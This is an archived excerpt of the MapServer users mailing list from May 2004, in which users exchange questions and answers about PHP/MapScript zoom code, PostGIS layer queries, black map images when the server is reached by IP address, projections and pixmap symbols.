> $zoom_factor=1;
> $check_pan="CHECKED";
> $CHECK_zout="";
> $check_zin="";
> }
> else if ($zoom_factor<0)
> {
> $check_pan="";
> $check_zout="CHECKED";
> $check_zin="";
> }
> else
> {
> $check_pan="";
> $check_zout="";
> $check_zin="CHECKED";
> }
> $Val_zsize=abs($zoom_factor);
> $map->zoompoint ($zoom_factor, $my_point, $map->width, $map-
> >height, $my_extent);
> $image = $map->draw();
> $image_url=$image->saveWebImage();
> $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny."
> ".$map->EXTENT->maxx." ".$map->EXTENT->maxy;
> ?>
> Could trace anything wrong with my zoom and pan code. SPecifically
> this code
> $map-
> >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);and
> $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny."
> ".$map->EXTENT->maxx." ".$map->EXTENT->maxy;
> as seem to be source of all the above errors
> Muchemi
>
>
> ---------------------------------
> Do you Yahoo!?
> Friends. Fun. Try the all-new Yahoo! Messenger
> > > >
> > > > > > > > >
width=600 height=600 border=0>
  color="#FFFFFF">Powered by MapServer
>
> >
>
>

> > Browse > map
> Query > feature
> Query multiple > features > >


> >

> Select Layers to Display:
> > >

> Zoom In > Pan > Zoom Out >

> Zoom Size >

> > Legend


>
> >

>

border="1">
>
> >
> > > > > > > > > > > > > > > >


> > > > > > >1) > >First, have a peek in the above folder and view all the image files. Do > >you see your map in there at all? You may want to delete them all and > >then re-run that mapserver app so you have fewer images to check out. > >There SHOULD be an image for the legend, scalebar and map. > > > >2) > >Can you confirm that you are actually getting a blank/white image file > >loading in your web page? Or is the web page just not finding the graphic > >to show you? There is a subtle but important difference here. To find > >this out, try changing the background colour of your map - oh wait, you > >don't have one specified, add in under FONTSET: > > > >IMAGECOLOR 100 100 100 > > > >That should give you a grey-ish background colour. When you run the map > >again, do you see just a white map or do you see this grey? > > > >3) If you don't see any colour at all, then your web page is not finding > >the image to load. It could be because the image doesn't exist (that's > >what step (1) is meant to help discern). The usual culprits are bad > >IMAGEPATH AND IMAGEURL parameters. These may also be set in your initial > >html files - so check there too! > > > >4) Is your dxregion data in lat/long? When you view this in Arc view and > >move your cursor over the map, what kind of numbers do you get for > >coordinates in the map? If you are not in lat/long units in your map > >data, then you either need to a) change the overall map projection for > >your map file or b) add a PROJECTION setting to the end of your LAYER > >definition. > > > >Hope that helps. > > > > > > > > > > [attachment "XX10860223845231.png" deleted by Tyler Mitchell/Lignum] > [attachment "XXleg10860223845231.png" deleted by Tyler > Mitchell/Lignum] [attachment "XXref10860223845231.png" deleted by > Tyler Mitchell/Lignum] From bigfoot at main-task.com Mon May 31 13:29:45 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Mon, 31 May 2004 15:29:45 -0500 Subject: [Mapserver-users] bug postgis query alias Message-ID: <40BB95B9.5060604@main-task.com> Hello. I'm implementing a gps tracking system. I want to show the car's orientation like this: http://maintask.com/test.png The layer's data is something like this: ----------------------------- gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid using srid=1 ----------------------------- The field 'sentido' contains '>'. The problem is that if I use something like this: ----------------------------- gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid using srid=1 ----------------------------- The query doesn't work. So I had to create a column in potgres called 'sentido' and all the rows containing '>'. Is this a bug? The rest of the layer: LAYER NAME "puntosgps" CONNECTIONTYPE postgis CONNECTION "user=gps password=gps dbname=gps host=localhost" DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid using srid=1" TYPE POINT PROJECTION "proj=latlong" "datum=WGS84" END LABELANGLEITEM 'rumbo' LABELITEM 'sentido' CLASS NAME 'Parado' EXPRESSION ([velocidad] = 0) SIZE 14 SYMBOL 'circle' COLOR 0 0 215 OUTLINECOLOR 204 204 204 END CLASS NAME '0-10' EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) SIZE 14 SYMBOL 'circle' COLOR 255 255 204 OUTLINECOLOR 204 204 204 LABEL TYPE TRUETYPE FORCE TRUE FONT arial ANTIALIAS TRUE COLOR 0 0 0 OUTLINECOLOR 255 255 255 SIZE 8 END END ... ... Thanks a lot. -- Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com From kallwn at icircus.net Mon May 31 13:46:14 2004 From: kallwn at icircus.net (kallwn) Date: Mon, 31 May 2004 13:46:14 -0700 Subject: [Mapserver-users] OpenBSD Message-ID: <20040531134614.00006b81.kallwn@icircus.net> Thinking about using Mapserver on OpenBSD. But since it is so security oriented (which is why I'm thinking of using it) I'm wondering if there are any issue unique to OpenBSD when running Mapserver. Does anyone has experience with OpenBSD and Mapserver? Is there anything special that need to watched out for? Or is it basically the same as FreeBSD? From JWiley at city.parksville.bc.ca Mon May 31 14:50:55 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Mon, 31 May 2004 14:50:55 -0700 Subject: [Mapserver-users] localhost works but using IP address gives black images Message-ID: This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. --=_F8D90EC3.8AEB8391 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable I hope there is an easy solution here and I promise to help others in my = steps!...=20 Once I got the second computer working with Mapserver using "localhost" = then changing to point to an IP address using a remote computer browser = hitting the ip address of the "gisserver"... which does run the program and writes the GIF files to the = tmp directory however I get the "black" images again!. The server is = writing them okay...on the /temp directory... just not being displayed on the client's browser... any suggestions? I checked permissions and II2 settings ... and = still no luck. =20 John Wiley, Gis Technician =20 --=_F8D90EC3.8AEB8391 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Description: HTML

I hope there is an easy solution here and I promise to = help=20 others in my steps!...
Once I got the second computer working with Mapserver = using=20 "localhost" then changing to point to an IP address using a remote = computer=20 browser hitting the ip address of the
"gisserver"... which does = run the=20 program and writes the GIF files to the tmp directory however I get the = "black"=20 images again!.  The server is writing them okay...on the=20 /temp
directory... just not being displayed on the client's
browser..= .. any=20 suggestions? I checked permissions and II2 settings ... and still no=20 luck.
 
John Wiley,
Gis Technician

 
--=_F8D90EC3.8AEB8391-- From rjames57 at yahoo.com Mon May 31 15:10:12 2004 From: rjames57 at yahoo.com (Randy James) Date: Mon, 31 May 2004 18:10:12 -0400 (EDT) Subject: [Mapserver-users] localhost works but using IP address gives black images In-Reply-To: Message-ID: <20040531221012.23677.qmail@web12503.mail.yahoo.com> I have seen the problem with gif images on our computers also, so i now use png. Randy --- John Wiley wrote: > I hope there is an easy solution here and I promise to > help others in my steps!... > Once I got the second computer working with Mapserver > using "localhost" then changing to point to an IP address > using a remote computer browser hitting the ip address of > the > "gisserver"... which does run the program and writes the > GIF files to the tmp directory however I get the "black" > images again!. The server is writing them okay...on the > /temp > directory... just not being displayed on the client's > browser... any suggestions? I checked permissions and II2 > settings ... and still no luck. > > John Wiley, > Gis Technician > > > > ______________________________________________________________________ Post your free ad now! http://personals.yahoo.ca From TMitchell at lignum.com Mon May 31 15:38:07 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 15:38:07 -0700 Subject: [Mapserver-users] localhost works but using IP address gives black images In-Reply-To: Message-ID: Just to confirm - does it run fine from any machine - i.e. locally on the server? Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > I hope there is an easy solution here and I promise to help others > in my steps!... > Once I got the second computer working with Mapserver using > "localhost" then changing to point to an IP address using a remote > computer browser hitting the ip address of the > "gisserver"... which does run the program and writes the GIF files > to the tmp directory however I get the "black" images again!. The > server is writing them okay...on the /temp > directory... just not being displayed on the client's > browser.... any suggestions? I checked permissions and II2 settings > ... and still no luck. > > John Wiley, > Gis Technician > > From devel at itdownunder.com.au Mon May 31 15:39:08 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Tue, 1 Jun 2004 08:39:08 +1000 Subject: [Mapserver-users] Simple Application In-Reply-To: Message-ID: <000a01c44760$17913000$65c8a8c0@arlaptop> Thank you Tyler, That would be good to have some more images. Does anyone have opinion on the approach to the project? Thank you Andrew Rich > > From a data perspective there are some great world images out there, this > one was easy to get working: > ftp://ftp.glcf.umiacs.umd.edu/esdi/raster/ - file: topo8.tif > > I have a bunch of other global files that others on the list have > provided. I can make these available, but it's going to have to wait a > couple weeks when I'm back in the office. > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 08:43:25 AM: > > > Hi All > > > > I think to many this would be a simple task but I would like some > > suggestions about the best path to follow for the following. > > > > All on RH Linux > > > > I have a list of objects in a mysql database. I can add the > > starting and ending Long/Lat into that database for each object. > > > > I want to show a Map (mapserver) and as you Pan or move I want to be > > able activate a Query with returns the current location. Then > > lookup the matching objects in the mysql table. I think this will > > be done by calls in the other application. > > > > The mysql table is part of another application and with thousands of > > records I don't with to duplicate them is possible. > > > > So is the Itasca a good place to start from? > > > > I would start with a world map and drill down to country, most > > likely Australia. Then click button to find objects which contain this > point. > > > > The detail of the maps is for assisting in the search not to look at > > all the layers (at this point). > > > > So what type of maps and images would you recommend? > > > > Thank you > > > > Andrew Rich > > > > > > From JWiley at city.parksville.bc.ca Mon May 31 15:58:11 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Mon, 31 May 2004 15:58:11 -0700 Subject: [Mapserver-users] localhost works but using IP address gives blackimages Message-ID: Either computer will run using localhost in the address ie.http://localhost/parksville/pville_init.html within itself but not using an ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html. from a "client" to the "gisserver" I hope i'm explaining this okay. John >>> Tyler Mitchell 05/31/04 03:38pm >>> Just to confirm - does it run fine from any machine - i.e. locally on the server? Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > I hope there is an easy solution here and I promise to help others > in my steps!... > Once I got the second computer working with Mapserver using > "localhost" then changing to point to an IP address using a remote > computer browser hitting the ip address of the > "gisserver"... which does run the program and writes the GIF files > to the tmp directory however I get the "black" images again!. The > server is writing them okay...on the /temp > directory... just not being displayed on the client's > browser.... any suggestions? I checked permissions and II2 settings > ... and still no luck. > > John Wiley, > Gis Technician > > From TMitchell at lignum.com Mon May 31 15:58:09 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 15:58:09 -0700 Subject: [Mapserver-users] localhost works but using IP address gives blackimages In-Reply-To: Message-ID: I think I understand - perhaps you can describe your setup a bit more so we know how you've got things running. Also, can you confirm that you are only using IIS as the web server throughout? And that you are using windows client web browsers. Tyler "John Wiley" wrote on 05/31/2004 03:58:11 PM: > Either computer will run using localhost in the address ie.http: > //localhost/parksville/pville_init.html within itself but not using > an ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html > . from a "client" to the "gisserver" > I hope i'm explaining this okay. > > John > > >>> Tyler Mitchell 05/31/04 03:38pm >>> > Just to confirm - does it run fine from any machine - i.e. locally on the > server? > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > > > I hope there is an easy solution here and I promise to help others > > in my steps!... > > Once I got the second computer working with Mapserver using > > "localhost" then changing to point to an IP address using a remote > > computer browser hitting the ip address of the > > "gisserver"... which does run the program and writes the GIF files > > to the tmp directory however I get the "black" images again!. The > > server is writing them okay...on the /temp > > directory... just not being displayed on the client's > > browser.... any suggestions? I checked permissions and II2 settings > > ... and still no luck. > > > > John Wiley, > > Gis Technician > > > > > From Zamil.Murji at divestco.com Mon May 31 16:16:25 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 31 May 2004 17:16:25 -0600 Subject: [Mapserver-users] localhost works but using IP addressgives blackimages Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF5D@DIV-MX02.divestco> I bet your apache is set to listen to localhost port 80...change it to listen on the ip address port 80 That should solve it. Hope I helped... Zamil -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of John Wiley Sent: Monday, May 31, 2004 4:58 PM To: TMitchell at lignum.com Cc: mapserver-users at lists.gis.umn.edu; mapserver-users-admin at lists.gis.umn.edu Subject: Re: [Mapserver-users] localhost works but using IP addressgives blackimages Either computer will run using localhost in the address ie.http://localhost/parksville/pville_init.html within itself but not using an ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html. from a "client" to the "gisserver" I hope i'm explaining this okay. John >>> Tyler Mitchell 05/31/04 03:38pm >>> Just to confirm - does it run fine from any machine - i.e. locally on the server? Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > I hope there is an easy solution here and I promise to help others > in my steps!... > Once I got the second computer working with Mapserver using > "localhost" then changing to point to an IP address using a remote > computer browser hitting the ip address of the > "gisserver"... which does run the program and writes the GIF files > to the tmp directory however I get the "black" images again!. The > server is writing them okay...on the /temp > directory... just not being displayed on the client's > browser.... any suggestions? I checked permissions and II2 settings > ... and still no luck. > > John Wiley, > Gis Technician > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jmckenna at dmsolutions.ca Mon May 31 19:23:04 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Mon, 31 May 2004 22:23:04 -0400 Subject: [Mapserver-users] proj question References: <64FC1B3E23F04C4E931EE3F6D809FF303ABF5A@DIV-MX02.divestco> Message-ID: <40BBE888.5090808@dmsolutions.ca> Hi Zamil, The short answer is that if all of your data is in the same projection (which is your case I imagine) you don't have to specify a projection..just make sure you give the correct EXTENTs of your data in the mapfile. Yes MapServer does support projections...and it uses the PROJ4 library (http://www.remotesensing.org/proj)....but don't worry about all that if your data is all in the same projection. jeff Zamil Murji wrote: > Hello list, > > I have some data in a shapefile and the shapefile came with a .prj file. Will mapserver automatically read that .prj file or will I have to specify a PROJECTION in my .map file? If I have to specify something in my .map file, what is the format? Here is the contents of my .prj file: > > GEOGCS["North_American_Datum_1927",DATUM["D_North_American_1927",SPHEROID["Clarke - 1866",6378206.4,294.9786982139006]],PRIMEM["Greenwich",0],UNIT["Degree",0.017453292519943295]] > > Thanks > Zamil > -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From warmerdam at pobox.com Mon May 31 20:33:19 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 31 May 2004 23:33:19 -0400 Subject: [Mapserver-users] proj.4 related utilities question In-Reply-To: <40B8725A.6000205@twcny.rr.com> References: <20040529094707.GD23794@badfish.securityminded.net> <40B8725A.6000205@twcny.rr.com> Message-ID: <40BBF8FF.4020801@pobox.com> Andrew wrote: > I have been reading the proj.4 pdf documentation and found a reference > at the very end to proj related utilities called inv27 inv83 for27 for83 > used to forward and inverse project state plane data to cartesian > coordinates. I was wondering if anyone has used or know about these > utilities? I don't find any info in the proj.4 source distribution, and > I can't get to the home page for some reason right now to check on this. Andrew, I don't think these exist anymore. However you can use state plane coordinate systems with 'proj', 'cs2cs' or mapserver. Eg. "+init=nad83:203" would be "Arizona West, NAD83". See the "nad27" and "nad83" files to correspond state plane zone numbers with names. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jenu_ab at hotmail.com Mon May 31 21:25:33 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Mon, 31 May 2004 23:25:33 -0500 Subject: [Mapserver-users] Symbol-Pixmap not showing Message-ID: I'm trying to get a north pointing compas image fixed on my map... I tried using the Symbol Pixmap feature as shown in the code below... I can see the state layer, but not the n_arrow layer which is the compass , onthe output image ... this is the first time i have tried to use the symbol feature....I cant figure out what i'm doing wrong --------------------------------------------------------------------------------- MAP NAME e-test-rd-jbox-vsd_ IMAGETYPE GIF EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 SIZE 800 600 SHAPEPATH "C:\cgi-bin\data\" FONTSET "C:\cgi-bin\fonts\fonts.list" WEB TEMPLATE 'e-test-rd-jbox.html' IMAGEPATH 'C:\cgi-bin\tmp\' IMAGEURL '/tmp/' END PROJECTION "init=epsg:2163" END SYMBOL NAME nort TYPE PIXMAP IMAGE "C:\cgi-bin\symbols\images\north.gif" END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 240 240 100 END END # States polygon layer ends here LAYER NAME n_arrow STATUS DEFAULT TRANSFORM FALSE TYPE POINT FEATURE POINTS 300 300 END END CLASS SYMBOL nort END END # End of LAYER DEFINITIONS END # end of map file _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page ? FREE download! http://toolbar.msn.click-url.com/go/onm00200413ave/direct/01/ From alexanderlimkh at yahoo.com Mon May 31 21:52:58 2004 From: alexanderlimkh at yahoo.com (Alexander Lim) Date: Mon, 31 May 2004 21:52:58 -0700 (PDT) Subject: [Mapserver-users] plot on map Message-ID: <20040601045258.64207.qmail@web60803.mail.yahoo.com> hi all, i have just manage to create an applet to load a shape file and display a simply map of main roads. However I actually would like to plot a dot on the map according to lat/long (lat/long will most probably be retrieved from database). Can anyone please point me to the area where i can get more information on plotting the map. If anyone has done this before, please post any sample codes that i can refer to. Any advice would be grealy aprreciated. Thanks al below is how the map is created (based on one of the example): ------test.xml------- ---------------------- -------test.html------ ---------------------- __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From 1wilkerson at charter.net Mon May 31 23:57:53 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Tue, 1 Jun 2004 02:57:53 -0400 Subject: [Mapserver-users] Mapserver crashing with PHP/Mapscript when... References: Message-ID: <153601c447a5$c560ae00$6400a8c0@Dale1> I am modifying the GMapDumpQueryResults function in GMap75.inc of the GMap75 demo (latest version) Mapserver stops when I add code to interact with the output from the SHP files. I cannot add new variables. I cannot IF statements. I cannot do much at all without causing the application to stop. By stopping I mean that the Mapserver program does not generate a map and ceases outputting the rest of the HTML page. Layer Name - layer01 There are only two fields ITEM_NBR and TITLE. I am placing my code within the following FOR Loop of the GMapDumpQueryResults() function. for ($iField=0; $iField < count($selFields); $iField++) { < Some code in addition to mine > < --------- start of my code -------------------------> // TO OUTPUT FOR THUMBNAIL IF ($oLayer->getMetaData("DESCRIPTION") == "layer01") { IF ($selFields[$iField] == "ITEM_NBR") { $oShapeVal04 = $oShape->values[$selFields[$iField]]; printf('%s', 'thumbnail image'); } } // TO OUTPUT HREF FOR RELATED PAGE IF (($selFields[$iField] == "TITLE") ) { $dlconnectionstr = "http://LocalhostTest:"; $imgIDVal = $oShape->values[$selFields[$iField]]; $dlsource = substr($imgIDVal,0,3); if ($dlsource == "PLW") { $dlconnectionstr = $dlconnectionstr."PLW:"; } ELSE IF ($dlsource == "GAD") { $dlconnectionstr = $dlconnectionstr."GAD:"; } $oShapeVal03 = oShape->values[$selFields[$iField]]; printf('%s', ''); } // OUTPUTS FIELD VALUE EXCEPT FOR ITEM_NBR FIELD IF (! ($selFields[$iField] == "ITEM_NBR") ) printf("%s", $oShape->values[$selFields[$iField]]); // CLOSES HREF IF TITLE FIELD IF (($selFields[$iField] == "TITLE") ) { printf(""); } < --------- end of my code -------------------------> < Code in addition to mine > } Again, the problem is that the program stops generating HTML / image files when I start manipulating the variables. Any suggestions? Peter Wilkerson